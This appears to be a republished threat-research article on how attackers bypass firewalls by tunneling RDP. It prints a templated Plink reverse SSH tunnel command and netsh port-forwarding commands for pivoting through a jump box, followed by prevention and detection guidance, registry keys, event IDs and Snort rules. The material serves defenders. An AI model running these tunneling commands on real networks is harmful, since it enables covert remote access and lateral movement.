SofiaITC Mission Critical Solutions Bypassing Network Restrictions Through RDP Tunneling | SofiaITC

Bypassing Network Restrictions Through RDP Tunneling

Remote Desktop Services is a component of Microsoft Windows that is
used by various companies for the convenience it offers systems
administrators, engineers and remote employees. On the other hand,
Remote Desktop Services, and specifically the Remote Desktop Protocol
(RDP), offers this same convenience to remote threat actors during
targeted system compromises. When sophisticated threat actors
establish a foothold and acquire ample logon credentials, they may
switch from backdoors to using direct RDP sessions for remote access.
When malware is removed from the equation, intrusions become
increasingly difficult to detect.

RDPing Against the Rules

Threat actors continue to prefer RDP for the stability and
functionality advantages over non-graphical backdoors, which can leave
unwanted artifacts on a system. As a result, FireEye has observed
threat actors using native Windows RDP utilities to connect laterally
across systems in compromised environments. Historically, non-exposed
systems protected by a firewall and NAT rules were generally
considered not to be vulnerable to inbound RDP attempts; however,
threat actors have increasingly started to subvert these enterprise
controls with the use of network tunneling and host-based port forwarding.

Network tunneling and port forwarding take advantage of firewall
“pinholes” (ports not protected by the firewall that allow
an application access to a service on a host in the network protected
by the firewall) to establish a connection with a remote server
blocked by a firewall. Once a connection has been established to the
remote server through the firewall, the connection can be used as a
transport mechanism to send or “tunnel” local listening
services (located inside the firewall) through the firewall, making
them accessible to the remote server (located outside the firewall),
as shown in Figure 1.

Figure 1: Enterprise firewall bypass
using RDP and network tunneling with SSH as an example

Inbound RDP Tunneling

A common utility used to tunnel RDP sessions is PuTTY Link, commonly
known as Plink. Plink can be used to establish secure shell (SSH)
network connections to other systems using arbitrary source and
destination ports. Since many IT environments either do not perform
protocol inspection or do not block SSH communications outbound from
their network, attackers such as FIN8 have used Plink to create
encrypted tunnels that allow RDP ports on infected systems to
communicate back to the attacker command and control (C2) server.

Example Plink Executable Command:

plink.exe <users>@<IP or domain> -pw
<password> -P 22 -2 -4 -T -N -C -R

Figure 2 provides an example of a successful RDP tunnel created
using Plink, and Figure 3 provides an example of communications being
sent through the tunnel using port forwarding from the attacker C2 server.

Figure 2: Example of successful RDP
tunnel created using Plink

Figure 3: Example of successful port
forwarding from the attacker C2 server to the victim

It should be noted that for an attacker to be able to RDP to a
system, they must already have access to the system through other
means of compromise in order to create or access the necessary
tunneling utility. For example, an attacker’s initial system
compromise could have been the result of a payload dropped from a
phishing email aimed at establishing a foothold into the environment,
while simultaneously extracting credentials to escalate privileges.
RDP tunneling into a compromised environment is one of many access
methods typically used by attackers to maintain their presence in an environment.

Jump Box Pivoting

Not only is RDP the perfect tool for accessing compromised systems
externally, RDP sessions can be daisy chained across multiple systems
as a way to move laterally through an environment. FireEye has
observed threat actors using the native Windows Network Shell (netsh)
command to utilize RDP port forwarding as a way to access newly
discovered segmented networks reachable only through an administrative
jump box.

Example netsh Port Forwarding Command:

netsh interface portproxy add v4tov4 listenport=8001
listenaddress=<JUMP BOX IP> connectport=3389
connectaddress=<DESTINATION IP>

Example Shortened netsh Port Forwarding

netsh I p a v l=8001 listena=<JUMP BOX IP>
connectp=3389 c=<DESTINATION IP>

For example, a threat actor could configure the jump box to listen
on an arbitrary port for traffic being sent from a previously
compromised system. The traffic would then be forwarded directly
through the jump box to any system on the segmented network using any
designated port, including the default RDP port TCP 3389. This type of
RDP port forwarding gives threat actors a way to utilize a jump box’s
allowed network routes without disrupting legitimate administrators
who are using the jump box during an ongoing RDP session. Figure 4
provides an example of RDP lateral movement to a segmented network via
an administrative jump box.

Figure 4: Lateral Movement via RDP using
a jump box to a segmented network

Prevention and Detection of RDP Tunneling

If RDP is enabled, threat actors have a way to move laterally and
maintain presence in the environment through tunneling or port
forwarding. To mitigate vulnerability to and detect these types of RDP
attacks, organizations should focus on both host-based and
network-based prevention and detection mechanisms. For additional
information see the FireEye blog post on establishing
a baseline for remote desktop protocol

Host-Based Prevention:

  • Remote Desktop Service:
    Disable the remote desktop service on all end-user workstations and
    systems for which the service is not required for remote
  • Host-based Firewalls: Enable host-based
    firewall rules that explicitly deny inbound RDP connections.
  • Local Accounts: Prevent the use of RDP using local accounts on
    workstations by enabling the “Deny log on through Remote Desktop
    Services” security setting.

Host-Based Detection:

Registry Keys:

  • Review registry keys
    associated with Plink connections that can be abused by RDP session
    tunneling to identify unique source and destination systems. By
    default, both PuTTY and Plink store session information and
    previously connected ssh servers in the following registry keys on
    Windows systems:

    • HKEY_CURRENT_USERSoftwareSimonTathamPuTTY
    • HKEY_CURRENT_USERSoftWareSimonTathamPuTTYSshHostKeys
  • Similarly, the creation of a PortProxy configuration
    with netsh is stored with the following Windows registry key:

    • HKEY_CURRENT_USERSYSTEMCurrentControlSetServicesPortProxyv4tov4
  • Collecting and reviewing these registry keys can
    identify both legitimate SSH and unexpected tunneling activity.
    Additional review may be needed to confirm the purpose of each

Event Logs:

  • Review event logs for
    high-fidelity logon events. Common RDP logon events are contained in
    the following event logs on Windows systems:

    • %systemroot%WindowsSystem32winevtLogsMicrosoft-TerminalServices-LocalSessionmanager%3Operational.evtx
    • %systemroot%WindowsSystem32winevtLogsSecurity.evtx
  • The “TerminalServices-LocalSessionManager” log
    contains successful interactive local or remote logon events as
    identified by EID 21 and successful reconnection of a previously
    established RDP session not terminated by a proper user logout as
    identified by EID 25. The “Security” log contains successful Type 10
    remote interactive logons (RDP) as identified by EID 4624. A source
    IP address recorded as a localhost IP address ( – may be indicative of a tunneled logon routed from a
    listening localhost port to the localhost’s RDP port TCP 3389.

Review your artifacts of execution for “plink.exe” file execution.
Note that attackers can rename the file name to avoid detection.
Relevant artifacts include, but are not limited to:

  • Application Compatibility
  • Amcache
  • Jump Lists
  • Prefetch
  • Service Events
  • CCM Recently Used Apps
    from the WMI repository
  • Registry keys

Network-Based Prevention:

  • Remote Connectivity:
    Where RDP is required for connectivity, enforce the connection to be
    initiated from a designated jump box or centralized management
  • Domain Accounts: Employ the “Deny log on through
    Remote Desktop Services” security setting for privileged accounts
    (e.g. domain administrators) and service accounts, as these types of
    accounts are commonly used by threat actors to laterally move to
    sensitive systems in an environment.

Network-Based Detection:

  • Firewall Rules: Review
    existing firewall rules to identify areas of vulnerability to port
    forwarding. In addition to the potential use of port forwarding,
    monitoring for internal communications between workstations in the
    environment should be conducted. Generally, workstations do not have
    a need to communicate with one another directly and Firewall rules
    can be used to prevent any such communication, except where
  • Network Traffic: Perform content inspection of
    network traffic. Not all traffic communicating on a given port is
    what it appears to be. For example, threat actors may use TCP ports
    80 or 443 to establish an RDP tunnel with a remote server. Deep
    inspection of the network traffic can likely reveal that it is not
    actually HTTP or HTTPS, but entirely different traffic all together.
    Therefore, organizations should closely monitor their network
  • Snort Rules: The main indicator of tunneled RDP
    occurs when the RDP handshake has a designated low source port
    generally used for another protocol. Figure 5 provides two sample
    Snort rules that can help security teams identify RDP tunneling in
    their network traffic by identifying designated low source ports
    generally used for other protocols.

alert tcp any
[21,22,23,25,53,80,443,8080] -> any !3389 (msg:”RDP –
HANDSHAKE [Tunneled msts]”; dsize:<65;
content:”|03 00 00|”; depth:3;
content:”|e0|”; distance:2; within:1;
content:”Cookie: mstshash=”; distance:5; within:17;
sid:1; rev:1;)

alert tcp any
[21,22,23,25,53,80,443,8080] -> any !3389 (msg:”RDP –
HANDSHAKE [Tunneled]”; flow:established;
content:”|c0 00|Duca”; depth:250;
content:”rdpdr”; content:”cliprdr”; sid:2;

Figure 5: Sample Snort Rules to identify RDP tunneling


RDP enables IT environments to offer freedom and interoperability to
users. But with more and more threat actors using RDP to move
laterally across networks with limited segmentation, security teams
are being challenged to decipher between legitimate and malicious RDP
traffic. Therefore, adequate host-based and network-based prevention
and detection methods should be taken to actively monitor for and be
able to identify malicious RDP usage.